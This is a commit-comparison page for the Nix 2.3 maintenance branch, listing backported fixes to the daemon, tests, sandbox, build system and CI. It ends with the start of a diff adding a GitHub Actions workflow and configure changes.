Compare commits

..
117 Commits
Author SHA1 Message Date
John Ericson 8d5f0cb551 Merge pull request #5751 from obsidiansystems/2.3-flexible-ssh
[backport 2.3] ssh-store: add remote-store and remote-program query params
2025-02-18 17:04:01 -05:00
Eelco Dolstra 2ee48c29a9 Fix segfault in gcc on i686-linux
src/libstore/ssh-store.cc: In constructor 'nix::SSHStore::SSHStore(const string&, const Params&)':
  src/libstore/ssh-store.cc:31:21: internal compiler error: Segmentation fault
               compress)
                       ^
  Please submit a full bug report,
  with preprocessed source if appropriate.

https://hydra.nixos.org/build/111545609
(cherry picked from commit d82b78bf51)
2025-02-17 13:20:30 -05:00
Daiderd Jordan 7f2c991f7c ssh-store: add remote-store and remote-program query params
Brings the functionality of ssh-ng:// in sync with the legacy ssh://
implementation.  Specifying the remote store uri enables various useful
things. eg.

    $ nix copy --to ssh-ng://cache?remote-store=file://mnt/cache --all

(cherry picked from commit 8745c63d3c)
2025-02-17 12:52:07 -05:00
John Ericson 9cdaeba80e Merge pull request #5640 from obsidiansystems/daemon-auth-2.3
[backport 2.3] Separate auth and logic for the daemon
2025-02-17 12:48:51 -05:00
John Ericson 9132d5b1c5 Separate auth and logic for the daemon
Before, processConnection wanted to know a user name and user id, and
`nix-daemon --stdio`, when it isn't proxying to an underlying daemon,
would just assume "root" and 0. But `nix-daemon --stdio` (no proxying)
shouldn't make guesses about who holds the other end of its standard
streams.

Now processConnection takes an "auth hook", so `nix-daemon` can provide
the appropriate policy and daemon.cc doesn't need to know or care what
it is.

(cherry picked from commit 8d4162ff9e)
2025-02-17 12:14:02 -05:00
John Ericson 5376a4472a Merge pull request #5650 from obsidiansystems/2.3-alt-daemon-test-suite
[backport 2.3] Allow testing with different daemons
2025-02-16 17:13:07 -05:00
Eelco Dolstra 68d6ebd984 nix-tests: Run 'make installcheck' in parallel
(cherry picked from commit 6ff19ce137)
2025-02-14 01:26:27 -05:00
regnat ddbb122df1 testS: poll more eagerly for the daemon start/stop
Polling every 1 second means that even the simplest test takes at least
2 seconds. We can reasonably poll 1/10 of that to make things much
  quicker (esp. given that most of the time 0.1s is enough for the
  daemon to be started or stopped)

(cherry picked from commit 9c470cb969)
2025-02-14 01:26:27 -05:00
Théophane Hufschmitt 196670af76 Don't run the tests that require building if we're not building
A couple of tests require building some libraries that depend on Nix,
and assume it to be built locally.
Don't run these if we only want to run the install tests.

This prevents the CI from rebuilding several times Nix (like in
https://github.com/NixOS/nix/actions/runs/6404422275/job/17384964033#step:6:6412), thus removing a fair amount of build time.

(cherry picked from commit eb68454be6)
2025-02-14 01:26:27 -05:00
John Ericson e813f9c4cd Add self-version daemon test
This is not a cherry-pick because enough reworking had to happen.
2025-02-14 00:57:56 -05:00
John Ericson 67ab776e15 Harden tests' bash
Use `set -u` and `set -o pipefail` to catch accidental mistakes and
failures more strongly.

 - `set -u` catches the use of undefined variables
 - `set -o pipefail` catches failures (like `set -e`) earlier in the
   pipeline.

This makes the tests a bit more robust. It is nice to read code not
worrying about these spurious success paths (via uncaught) errors
undermining the tests. Indeed, I caught some bugs doing this.

There are a few tests where we run a command that should fail, and then
search its output to make sure the failure message is one that we
expect. Before, since the `grep` was the last command in the pipeline
the exit code of those failing programs was silently ignored. Now with
`set -o pipefail` it won't be, and we have to do something so the
expected failure doesn't accidentally fail the test.

To do that we use `expect` and a new `expectStderr` to check for the
exact failing exit code. See the comments on each for why.

`grep -q` is replaced with `grepQuiet`, see the comments on that
function for why.

`grep -v` when we just want the exit code is replaced with `grepInverse,
see the comments on that function for why.

`grep -q -v` together is, surprise surprise, replaced with
`grepQuietInverse`, which is both combined.

(cherry picked from commit c11836126b)
2025-02-13 11:36:30 -05:00
John Ericson 5e13c907b4 Make init.sh safe to run twice
(cherry picked from commit 5dbbf23332)
2025-02-13 11:36:30 -05:00
Andrea Ciceri 51b03401fb Tighten up the exportReferencesGraph tests
Add an `$` at the end of the `grep` regex. Without it, `checkRef foo`
would always imply `checkRef foo.drv`. We want to tell these situations
apart to more precisely test what is going on.

(cherry picked from commit f58759816d)
2025-02-13 11:36:30 -05:00
Robert Hensing 0a53374a4b tests: Add command source locations to test log
(cherry picked from commit 9813e54a74)
2025-02-13 11:36:30 -05:00
John Ericson ac295a5f33 Flip condition on daemon version for structured attrs
We want the old behavior, since this is Nix 2.3.
2025-02-13 11:36:30 -05:00
John Ericson 7358292924 Fix testing the other daemon
The eventual PATH entry needs the `.../bin` or we will not use the right
daemon.

(cherry picked from commit 06fb6aecea)
2025-02-13 11:36:30 -05:00
regnat 918861b196 Make the post-build-hook use the daemon Nix package
Having the `post-build-hook` use `nix` from the client package can lead
to a deadlock in case there’s a db migration to do between both, as a
`nix` command running inside the hook will run as root (and as such will
bypass the daemon), so might trigger a db migration, which will get
stuck trying to get a global lock on the DB (as the daemon that ran the
hook already has a lock on it).

(cherry picked from commit 93eadd5803)
2025-02-13 11:36:30 -05:00
regnat 5d324b2d0a Fix the isDaemonNewer check
- Don’t hardcode the “newer” version
- Remove an ill-placed `return`

(cherry picked from commit 3a2fc9ce1d)
2025-02-13 11:36:30 -05:00
Sergei Trofimovich c239a1652e mk/tests.mk: document 'installcheck' in 'make help'
(cherry picked from commit 1e6faa7d06)
2025-02-13 11:36:30 -05:00
regnat 6e595ff55f Remove the right socket before starting the daemon
For some reason, an old socket occasionally stays here on OSX, causing
the subsequent tests to fail

(cherry picked from commit c2c0dba792)
2025-02-13 11:36:30 -05:00
regnat c434a11a04 Allow running all the tests with the daemon
When `NIX_DAEMON_PACKAGE` is set, make all the tests use the Nix daemon.
That way we can test every piece of Nix functionality both with and
without the daemon.

Tests for which using the daemon isn’t possible or doesn’t make sens can
selectively be disabled with `needLocalStore`

(cherry picked from commit addacfce4a)
2025-02-13 11:36:30 -05:00
regnat 62a42ab43e Make the tests (optionnally) run in another derivation
That way we can run them without rebuilding Nix

(cherry picked from commit a0866c8ea4)
2025-02-13 11:36:30 -05:00
regnat 02a186883b Add a test ensuring compatibility with an old daemon
This requires adding `nix` to its own closure which is a bit unfortunate,
but as it is optional (the test will be disabled if `OUTER_NIX` is unset) it
shouldn't be too much of an issue.

(Ideally this should go in another derivation so that we can build Nix and run
the test independently, but as the tests are running in the same derivation
as the build it's a bit complicated to do so).

(cherry picked from commit 5716345adf)
2025-02-13 11:36:30 -05:00
regnat e0e9f91049 Actually test nix-env with a remote store
The `remote-store` test loads the `user-env` one to test nix-env when
using the daemon, but actually does it incorrectly because every test
starts (in `common.sh`) by resetting the value of `NIX_REMOTE`, meaning
that the `user-env` test will never use the daemon.

Fix this by setting `NIX_REMOTE_` before sourcing `user-env.sh` in the
`remote-store` test, so that `NIX_REMOTE` is correctly set inside the
test

(cherry picked from commit f6ac888d3e)
2025-02-13 11:36:30 -05:00
John Ericson fd753efe17 Merge pull request #9495 from NixOS/2.3-macos-eof
[Backport 2.3-maintainence] Fix "unexpected EOF" errors on macOS
2025-02-13 11:35:45 -05:00
Eelco Dolstra 5fca88973f Open slave pseudoterminal before CLONE_NEWUSER
Otherwise, when running as root and user namespaces are enabled,
opening the slave fails with EPERM.

Fixes "opening pseudoterminal slave: Permission denied" followed by a
hang (https://hydra.nixos.org/build/213104244), and "error: getting
sandbox mount namespace: No such file or directory" (#8072), which
happens when the child fails very quickly and consequently reading
/proc/<child>/ns fails.

(cherry picked from commit 16db8dc96f)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 94eba8a85a Change builderOut from Pipe to AutoCloseFD
(cherry picked from commit 6029c763c2)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 6613e7ebfb Move pseudoterminal slave open to child
Hopefully this fixes "unexpected EOF" failures on macOS
(#3137, #3605, #7242, #7702).

The problem appears to be that under some circumstances, macOS
discards the output written to the slave side of the
pseudoterminal. Hence the parent never sees the "sandbox initialized"
message from the child, even though it succeeded. The conditions are:

* The child finishes very quickly. That's why this bug is likely to
  trigger in nix-env tests, since that uses a builtin builder. Adding
  a short sleep before the child exits makes the problem go away.

* The parent has closed its duplicate of the slave file
  descriptor. This shouldn't matter, since the child has a duplicate
  as well, but it does. E.g. moving the close to the bottom of
  startBuilder() makes the problem go away. However, that's not a
  solution because it would make Nix hang if the child dies before
  sending the "sandbox initialized" message.

* The system is under high load. E.g. "make installcheck -j16" makes
  the issue pretty reproducible, while it's very rare under "make
  installcheck -j1".

As a fix/workaround, we now open the pseudoterminal slave in the
child, rather than the parent. This removes the second condition
(i.e. the parent no longer needs to close the slave fd) and I haven't
been able to reproduce the "unexpected EOF" with this.

(cherry picked from commit c536e00c9d)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 3a82f6a117 Simplify commonChildInit()
(cherry picked from commit 19326ac297)
2025-02-13 11:21:42 -05:00
John Ericson 3468fec15b Merge pull request #12467 from NixOS/modernize-gha-2.3
[Nix 2.3] Reconcile GitHub Actions with master
2025-02-13 11:20:47 -05:00
John Ericson 4a18760022 Remove installer and installer_test GHAs for now
We never got them set up, as evidenced by missing script.
2025-02-13 11:11:37 -05:00
John Ericson 6c5089550e Reconcile GitHub Actions with master
Roughty matches as of 9f2b9256b6.

Hopefully this makes CI work again.
2025-02-13 10:54:04 -05:00
Eelco Dolstra ff8cce1244 Merge pull request #12026 from Ma27/2.3-backport-structured-attrs-env
[2.3] build: backport NIX_ATTRS_*_FILE
2024-12-09 13:03:10 +01:00
Maximilian Bosch 0c5333a4f6 build: backport NIX_ATTRS_*_FILE
This was originally added in #4770 to support structured attrs in
`nix-shell` & `nix develop`: the issue was that it was somewhat awkward
to just write those files into a project directory, especially since
it'd break in case of multiple `nix-shell` invocations from the same
directory. Now the files are written to another, temporary
location when using `nix-shell`/`nix develop` and the correct path is
referenced by NIX_ATTRS_*_FILE.

In `nixpkgs`, it's now common to use these environment variables,
however we still fall back to checking to `.attrs.sh` & `.attrs.json`
since the minimum Nix version we support is 2.3.17[1] which doesn't have
this change.

This however makes implementing structured attrs support more
complicated than needed[2] and in fact we have a few places where the
check for `.attrs.sh`/`.attrs.json` isn't made, so these only break with
Nix 2.3[3].

The idea is now to

* get this into 2.3.18
* bump minver once again to 2.3.18 in nixpkgs
* remove all occurrences of `.attrs.sh`/`.attrs.json` from nixpkgs.

[1] https://github.com/NixOS/nixpkgs/blob/f4bd97b8face6dc14b0ce048c20cff7e558c7be2/lib/minver.nix
[2] https://github.com/NixOS/nixpkgs/pull/357053/files#diff-791a01ef89c157eb74d9c87ab8cbc3b81e2cf082cab70b8fec3472cd75ce860dR3-R5
[3] https://github.com/NixOS/nixpkgs/pull/357053#discussion_r1857362490
2024-12-08 15:45:05 +01:00
Eelco Dolstra 99f14d4b34 Revert "tests/check.sh: Fix a race"
This reverts commit 0776aa11c9 because
it's causing a test failure: https://hydra.nixos.org/build/247889890
2024-03-07 14:27:23 +01:00
Eelco Dolstra b4d5aaca60 Merge pull request from GHSA-2ffj-w4mj-pg37
Sandbox escape 2.3
2024-03-07 11:56:24 +01:00
Théophane Hufschmitt 8604f6d329 Add release notes 2024-03-01 10:24:54 +01:00
Théophane HufschmittandValentin Gagarin 2064277b05 Fix a typo in a test comment
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt 8c27eb6c1b Copy the output of fixed-output derivations before registering them
It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt 9c0be4c156 Add a NixOS test for the sandbox escape
Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt ec26251bb9 Merge pull request #9771 from hercules-ci/2.3-flake
[2.3] Add flake for testing purposes
2024-01-26 09:41:25 +01:00
Robert Hensing 0776aa11c9 tests/check.sh: Fix a race
Based on 02dd6bb610
2024-01-15 11:40:53 +01:00
Robert Hensing 0099f8e8de Add best-effort flake.nix
The purpose for this flake is to make `nix run nix/2.3-maintenance` work,
so that it's easier to answer questions about this old series of releases.
2024-01-15 10:40:48 +01:00
Eelco Dolstra 575859a535 Bump version 2023-11-03 18:05:47 +01:00
John Ericson f76990444c Merge pull request #9261 from flokli/backport-3564
[2.3-maintenance] Wait for build users when none are available
2023-11-01 20:01:36 -04:00
Eelco Dolstra 791af78365 Merge pull request #9263 from flokli/update-stringly-typed-configureflags
[2.3-maintenance] Convert stringly-typed configureFlags to lists of strings
2023-10-31 16:06:52 +01:00
Eelco Dolstra 5757632bcb Merge pull request #9260 from flokli/backport-4012
[2.3-maintenance] Escape `${` in strings when printing Nix expressions
2023-10-31 16:06:07 +01:00
Eelco Dolstra 78d73112a6 Merge pull request #9262 from flokli/pkg-config-rename
[2.3-maintenance] Address removal of pkgconfig alias
2023-10-31 16:05:34 +01:00
sternenseemann a4cafa65e7 Convert stringly-typed configureFlags to lists of strings
This has been deprecated in nixpkgs and the warning resulting from that
is driving me crazy.
2023-10-31 12:25:06 +02:00
sternenseemann 6663e7aeea Address removal of pkgconfig alias
nixpkgs ended up removing that alias, this fixes the build with a more
recent nixpkgs.
2023-10-31 12:22:36 +02:00
Alexander Bantyev 12935e54ea Mention build users in the 'waiting for' message
(cherry picked from commit 772e5db828)
2023-10-31 12:15:35 +02:00
Alexander Bantyev 849f9b83a8 Don't block while waiting for build users
(cherry picked from commit 14073fb76b)
2023-10-31 12:15:35 +02:00
Alexander Bantyev a1469cc8f4 Wait for build users when none are available
(cherry picked from commit 880a62b08443a6baa55dab027b69bb8b1551a588)
2023-10-31 12:15:35 +02:00
regnat b2463d649c Escape ${ in strings when printing Nix expressions
Otherwise the result of the printing can't be parsed back correctly by
Nix (because the unescaped `${` will be parsed as the begining of an
anti-quotation).

Fix #3989

(cherry picked from commit 250f8a4bba)
2023-10-31 12:06:50 +02:00
Eelco Dolstra 63ba2fde50 Merge pull request #9245 from bjornfor/backport-installer-fix
[2.3] Backport installer fix for non-NixOS
2023-10-27 16:28:07 +02:00
John Ericson 619e9758bb Merge pull request #4593 from grahamc/builder-host-key-stable
(Backport #4574) distributed builds: load remote builder host key from the machines file
2023-10-26 16:19:06 -04:00
John Ericson b4abe56a23 Merge remote-tracking branch 'upstream/2.3-maintenance' into builder-host-key-stable 2023-10-26 16:01:18 -04:00
Guillaume Maudoux 36c560552d Create to daemon-socket folder during install
(cherry picked from commit 1bec333788)

[Bjørn: This fixes Nix 2.3 multi-user/daemon installs on modern
non-NixOS distros.]
2023-10-26 14:31:46 +02:00
Eelco Dolstra 12ac3f6f28 Merge pull request #9221 from edef1c/2.3-zstd
[2.3-maintenance] libutil: add ZstdDecompressionSink
2023-10-25 10:33:07 +02:00
edef 7f8790eff2 libutil: add ZstdDecompressionSink 2023-10-23 17:36:13 +00:00
Eelco Dolstra 8e836716bb Merge pull request #9190 from trofi/2.13-gcc-13
[2.3 backport] src/libutil/json.cc: add missing <cstdint> include for gcc-13
2023-10-19 19:12:15 +02:00
Sergei Trofimovich 42b19c7181 src/libutil/json.cc: add missing <cstdint> include for gcc-13
Without the change llvm build fails on this week's gcc-13 snapshot as:

    src/libutil/json.cc: In function 'void nix::toJSON(std::ostream&, const char*, const char*)':
    src/libutil/json.cc:33:22: error: 'uint16_t' was not declared in this scope
       33 |             put(hex[(uint16_t(*i) >> 12) & 0xf]);
          |                      ^~~~~~~~
    src/libutil/json.cc:5:1: note: 'uint16_t' is defined in header '<cstdint>'; did you forget to '#include <cstdint>'?
        4 | #include <cstring>
      +++ |+#include <cstdint>
        5 |

(cherry picked from commit b36d5172cb)
2023-10-19 15:25:34 +01:00
John Ericson 104c562b63 Merge pull request #8031 from klemensn/openbsd
Build and test fixes for OpenBSD
2023-03-20 11:41:36 -04:00
Klemens Nanni c84e20a296 Fix SO_PEERCRED usage on OpenBSD
getsockopt(2) documents `struct sockpeercred` with `SO_PEERCRED`.
(`struct ucred` does exist, but is incompatible to the Linux version.)
2023-03-11 23:07:19 +04:00
Klemens Nanni fda598cfdd Make tar invocation portable, fix OpenBSD build/test
At least on OpenBSD, tar(1) reads from /dev/rst0 not stdin by default
options must specififed consistently with or without dashes, not mixed.

Specify standard input explicitly to not rely on implementation details.
Use either option style consistently.
2023-03-11 23:07:19 +04:00
Klemens Nanni 2dff8c2b40 Include <sys/wait.h> as per wait(4) for WIFEXITED and WEXITSTATUS
Unbreak the build on OpenBSD.
2023-03-11 23:07:19 +04:00
Eelco Dolstra 6507aef191 Merge pull request #5649 from obsidiansystems/2.3-modernize-test-suite
[backport 2.3] Parallelize test suite
2021-12-09 15:27:16 +01:00
Domen Kožar 3690c9350d Merge pull request #5688 from obsidiansystems/2.3-pr-ci
[backport 2.3] Add GitHub actions CI for PRs
2021-11-30 13:17:03 +01:00
Albert Safin 75bd19758d nix-shell: don't check for "nix-shell" in shebang script name
Without this, moving the nix-shell tests into a `nix-shell` dir breaks
them.

(cherry picked from commit a70706b025)
2021-11-30 05:33:50 +00:00
Eelco Dolstra 522243fb26 Close stdin while running tests
For some reason, the bash shell started by 'nix develop' sometimes
reads from stdin, which can hang.

(cherry picked from commit 50a8710ed1)
2021-11-30 05:33:50 +00:00
regnat 1a3956cceb Shorten the path to the test root
Fix a socket length failure on the OSX builders

(cherry picked from commit 223fbe644a)
2021-11-30 05:33:50 +00:00
regnat 8ca44a901c Fix the test dependencies
Reuse the pre-existing list rather than the one written as part of #3777

(cherry picked from commit 5101ed18bc)
2021-11-30 05:33:50 +00:00
regnat b3cdebf328 Run the tests in parallel
Cause the time needed to run the testsuite to drop from ~4mins to ~40s

(cherry picked from commit 1b5aa60767)
2021-11-30 05:33:50 +00:00
John Ericson e9cfba389f Add GitHub actions CI for PRs
Adapted from master.
2021-11-29 23:18:01 +00:00
Eelco Dolstra c9f0904d13 Merge pull request #5659 from baloo/baloo/dns-2.3
preloadNSS: rework the dns query workaround [nix2.3]
2021-11-26 12:48:21 +01:00
Arthur Gautier 765332d94b preloadNSS: rework the dns query workaround
backport of https://github.com/NixOS/nix/pull/5384 to nix 2.3
2021-11-25 13:06:00 -08:00
Eelco Dolstra addb547b9d Merge pull request #5571 from obsidiansystems/forward-compat-2.3
[2.3-maintenance] Override socket path with `NIX_DAEMON_SOCKET_PATH` so we can test 2.4+ compat
2021-11-23 18:55:38 +01:00
regnat 1aa288c8cf Override socket path with NIX_DAEMON_SOCKET_PATH
This is the first step to testing compatibility with 2.3 in 2.4 and
master.

(adapted from commit 223fbe644a)
2021-11-16 05:44:59 +00:00
Eelco Dolstra cad762e2d1 Merge pull request #5395 from winterqt/revert-4985
Revert "doc: Change install syntax to be fish compatible"
2021-11-08 14:18:12 +01:00
Eelco Dolstra 6b17b1677f Merge pull request #5491 from doronbehar/SQLiteWAL-vfs-backport2.3
libstore: Use unix-dotfile vfs if useSQLiteWAL is false
2021-11-05 13:24:22 +01:00
Eelco Dolstra 9a83b37764 Merge pull request #5492 from obsidiansystems/backport/fd-leak-2.3-maintenance
Nix 2.3 Backport: PathSubstitutionGoal: Clean up pipe
2021-11-04 20:32:36 +01:00
Fendor c31ce3dffe PathSubstitutionGoal: Clean up pipe
If there were many top-level goals (which are not destroyed until the
very end), commands like

  $ nix copy --to 'ssh://localhost?remote-store=/tmp/nix' \
    /run/current-system --no-check-sigs --substitute-on-destination

could fail with "Too many open files". So now we do some explicit
cleanup from amDone(). It would be cleaner to separate goals from
their temporary internal state, but that would be a bigger refactor.

Backport 8a29052cb2
2021-11-04 11:26:39 +01:00
Doron Behar 1261a1689b libstore: Use unix-dotfile vfs if useSQLiteWAL is false 2021-11-04 08:10:44 +02:00
Winter 6c0d9778d1 Revert "doc: Change install syntax to be fish compatible"
This reverts commit ea962a84c3.
2021-10-15 17:27:17 -04:00
Eelco Dolstra 8223cc5663 Bump version 2021-10-07 17:32:08 +02:00
Domen Kožar 8c5b39875e Merge pull request #5054 from alyssais/2.3-host_os
[2.3] Apply OS checks to host platform, not build
2021-09-21 08:12:04 +02:00
Eelco Dolstra 2e80a42c13 Merge pull request #5216 from kvtb/patch-2
`builtins.hashFile`, `builtins.hashString`: realize context before calculation, and discard afterwards
2021-09-13 22:39:26 +02:00
Eelco Dolstra edf511dfb2 Merge pull request #5234 from kvtb/patch-4
builtins.fetchurl: fix error message
2021-09-13 10:00:15 +02:00
kvtb 7d92204b67 builtins.fetchurl: fix error message
fixes `error: unsupported argument 'path' to 'fetchurl', at 0x1630b48`
2021-09-11 04:54:55 +00:00
Eelco Dolstra 72128074d8 Merge pull request #5228 from baloo/baloo/5089/force-nss_dns-load.2.3.15
preloadNSS: fixup nss_dns load [2.3]
2021-09-09 10:35:49 +02:00
Arthur Gautier a67dcdd991 preloadNSS: load NSS before threads are started
preloadNSS is not thread-safe, this commit moves it before we start the
first thread.

Signed-off-by: Arthur Gautier <baloo@superbaloo.net>
2021-09-08 18:36:53 +00:00
Eelco Dolstra a10644fa66 Merge pull request #5223 from kvtb/patch-3
Expr::show(): avoid emiting meaningless chars
2021-09-08 12:13:36 +02:00
Arthur Gautier 3d75d87bd3 preloadNSS: fixup nss_dns load
Before this commit, the dns lookup in preloadNSS would still go through
nscd. This did not have the effect of loading the nss_dns.so as expected
(nss_dns.so being out of reach from within the sandbox).

Should LOCALDOMAIN environment variable be defined, nss will completely
avoid nscd and will do its dns resolution on its own.

By temporarly setting LOCALDOMAIN variable before calling in NSS, we can
force NSS to load the shared libraries as expected.

Signed-off-by: Arthur Gautier <baloo@superbaloo.net>
2021-09-07 01:49:37 +00:00
kvtb f8ccbb40d1 Expr::show(): avoid emiting meaningless chars 2021-09-06 14:29:20 +00:00
kvtb 2b665a311e hashFile, hashString: realize context before calculation, and discard afterwards 2021-09-05 14:42:06 +00:00
Eelco Dolstra 896fad9119 Merge pull request #5132 from alyssais/2.3-sys_name
[2.3] configure.ac: remove another uname check
2021-08-16 11:56:01 +02:00
Alyssa Ross bb98526123 configure.ac: remove another uname check
uname checks are not cross-safe.

The normalization for Cygwin doesn't need any equivalent for host_os
because nothing actually checked whether sys_name was cygwin any more.

(cherry picked from commit cff8fd69b6)
2021-08-13 16:35:25 +00:00
Domen Kožar 015ca6a7a5 Merge pull request #5129 from alyssais/2.3-darwin-host-os
[2.3] Fix host OS detection for darwin-specific linker flag
2021-08-13 10:14:36 +02:00
Ryan Burns ac2ca8d083 Fix host OS detection for darwin-specific linker flag
(cherry picked from commit d86d43c34c)
2021-08-13 08:06:03 +00:00
Eelco Dolstra 183f2cc395 Bump version 2021-07-28 22:54:47 +02:00
Eelco Dolstra 9d9dbe6ed0 Bump version 2021-07-28 21:20:08 +02:00
Alyssa Ross 12dc642781 Apply OS checks to host platform, not build
Previously, the build system used uname(1) output when it wanted to
check the operating system it was being built for, which meant that it
didn't take into-account cross-compilation when the build and host
operating systems were different.

To fix this, instead of consulting uname output, we consult the host
triple, specifically the third "kernel" part.

For "kernel"s with stable ABIs, like Linux or Cygwin, we can use a
simple ifeq to test whether we're compiling for that system, but for
other platforms, like Darwin, FreeBSD, or Solaris, we have to use a
more complicated check to take into account the version numbers at the
end of the "kernel"s.  I couldn't find a way to just strip these
version numbers in GNU Make without shelling out, which would be even
more ugly IMO.  Because these checks differ between kernels, and the
patsubst ones are quite fiddly, I've added variables for each host OS
we might want to check to make them easier to reuse.

(cherry picked from commit 4f80464645)
2021-07-27 08:41:57 +00:00
Eelco Dolstra bd4e03d5fa Merge pull request #5053 from NixOS/fix-no-such-file-in-chrooted-store
[2.3]: Use the real path when checking imported CA paths
2021-07-27 10:34:29 +02:00
Domen Kožar 9f1287e1ca Merge pull request #5038 from alyssais/2.3-libdl
[2.3] Only link with libdl on Linux
2021-07-27 07:33:10 +02:00
regnat 89fba5c847 Use the real path when checking imported CA paths
Otherwise chrooted store will fail because Nix will try to read the
virtual path instead of the physical one

Should fix https://github.com/NixOS/nixpkgs/issues/126141
2021-07-26 11:34:47 +02:00
Alyssa Ross fa7cbf8222 Only link with libdl on Linux
Linux is (as far as I know) the only mainstream operating system that
requires linking with libdl for dlopen.  On BSD, libdl doesn't exist,
so on non-FreeBSD BSDs linking will currently fail.  On macOS, it's
apparently just a symlink to libSystem (macOS libc), presumably
present for compatibility with things that assume Linux.

So the right thing to do here is to only add -ldl on Linux, not to add
it for everything that isn't FreeBSD.

(cherry picked from commit c57ab17687)
2021-07-23 10:50:29 +00:00
Eelco Dolstra e871146179 Merge pull request #5013 from illustris/nscd-backport
fixed-output derivations: fix incorrect responses for getpwuid
2021-07-14 17:00:00 +02:00
illustris 1c51a169fb fixed-output derivations: fix incorrect responses for getpwuid
backport of #5006
2021-07-14 14:26:25 +05:30
Emily 76c7f5f215 sandbox: allow SystemVersionCompat.plist on Darwin
For whatever reason, many programs trying to access SystemVersion.plist
also open SystemVersionCompat.plist; this includes Python code and
coreutils’ `cat(1)` (but not the native macOS `/bin/cat`). Illustratory
`dtruss(1m)` output:

    open("/System/Library/CoreServices/SystemVersion.plist\0", 0x0, 0x0)		 = 3 0
    open("/System/Library/CoreServices/SystemVersionCompat.plist\0", 0x0, 0x0)		 = 4 0

I assume this is a Big Sur change relating to the 10.16.x/11.x
version compatibility divide and that it’s something along the lines of
a hook inside libSystem.

Fixes a lot of sandboxed package builds under Big Sur.

(cherry picked from commit 559a504da7)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-07-12 09:35:16 +02:00
Emily 405d78eafc Mark __impureHostDeps paths as optional
Starting in macOS 11, the on-disk dylib bundles are no longer available,
but nixpkgs needs to be able to keep compatibility with older versions
that require `/usr/lib/libSystem.B.dylib` in `__impureHostDeps`. Allow
it to keep backwards compatibility with these versions by marking these
dependencies as optional.

Fixes #4658.

(cherry picked from commit c4355a52fa)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-07-12 09:30:35 +02:00
Eelco Dolstra 998fe9d645 Merge pull request #4985 from toonn/doc-install-fish
Make install documentation fish-friendly
2021-07-05 21:52:15 +02:00
toonn ea962a84c3 doc: Change install syntax to be fish compatible 2021-07-05 13:58:01 +02:00
Eelco Dolstra 1da76cbec7 Merge pull request #4975 from domenkozar/2.3-upload-release-aarch64-darwin
upload-release.pl: add aarch64-darwin
2021-07-02 15:32:54 +02:00
Eelco Dolstra f1e3a6a50a Bump version 2021-07-02 15:00:14 +02:00
Domen Kožar 14262b86cc upload-release.pl: add aarch64-darwin 2021-07-02 14:13:26 +02:00
Domen Kožar eda79305b6 installer: use native aarch64-darwin 2021-07-02 14:08:01 +02:00
Graham Christensen 5a2716f6d3 distributed builds: load remote builder host key from the machines file
This is already used by Hydra, and is very useful when materializing
a remote builder list from service discovery. This allows the service
discovery tool to only sync one file instead of two.
2021-02-25 11:11:07 -05:00
88 changed files with 1251 additions and 341 deletions

No files matched your search

+58
View File
@@ -0,0 +1,58 @@
name: "CI"
on:
pull_request:
push:
permissions: read-all
jobs:
tests:
needs: [check_cachix]
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 60
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: cachix/install-nix-action@v30
with:
# The sandbox would otherwise be disabled by default on Darwin
extra_nix_config: |
sandbox = true
max-jobs = 1
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
- uses: cachix/cachix-action@v15
if: needs.check_cachix.outputs.secret == 'true'
with:
name: '${{ env.CACHIX_NAME }}'
signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
# Since ubuntu 22.30, unprivileged usernamespaces are no longer allowed to map to the root user:
# https://ubuntu.com/blog/ubuntu-23-10-restricted-unprivileged-user-namespaces
- run: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
if: matrix.os == 'ubuntu-latest'
- run: nix-build release.nix -A build.$(nix-instantiate --eval -E '(builtins.currentSystem)')
# Steps to test CI automation in your own fork.
# Cachix:
# 1. Sign-up for https://www.cachix.org/
# 2. Create a cache for $githubuser-nix-install-tests
# 3. Create a cachix auth token and save it in https://github.com/$githubuser/nix/settings/secrets/actions in "Repository secrets" as CACHIX_AUTH_TOKEN
check_cachix:
name: Cachix secret present for installer tests
runs-on: ubuntu-latest
outputs:
secret: ${{ steps.secret.outputs.secret }}
steps:
- name: Check for Cachix secret
id: secret
env:
_CACHIX_SECRETS: ${{ secrets.CACHIX_SIGNING_KEY }}${{ secrets.CACHIX_AUTH_TOKEN }}
run: |
echo "::set-output name=secret::${{ env._CACHIX_SECRETS != '' }}"
+1 -1
View File
@@ -1 +1 @@
2.3.13
2.3.18
+2
View File
@@ -1,3 +1,4 @@
HOST_OS = @host_os@
AR = @AR@
BDW_GC_LIBS = @BDW_GC_LIBS@
BUILD_SHARED_LIBS = @BUILD_SHARED_LIBS@
@@ -18,6 +19,7 @@ SODIUM_LIBS = @SODIUM_LIBS@
LIBLZMA_LIBS = @LIBLZMA_LIBS@
SQLITE3_LIBS = @SQLITE3_LIBS@
LIBBROTLI_LIBS = @LIBBROTLI_LIBS@
LIBZSTD_LIBS = @LIBZSTD_LIBS@
EDITLINE_LIBS = @EDITLINE_LIBS@
bash = @bash@
bindir = @bindir@
+28 -27
View File
@@ -33,14 +33,6 @@ AC_ARG_WITH(system, AC_HELP_STRING([--with-system=SYSTEM],
system="$machine_name-`echo $host_os | "$SED" -e's/@<:@0-9.@:>@*$//g'`";;
esac])
sys_name=$(uname -s | tr 'A-Z ' 'a-z_')
case $sys_name in
cygwin*)
sys_name=cygwin
;;
esac
AC_MSG_RESULT($system)
AC_SUBST(system)
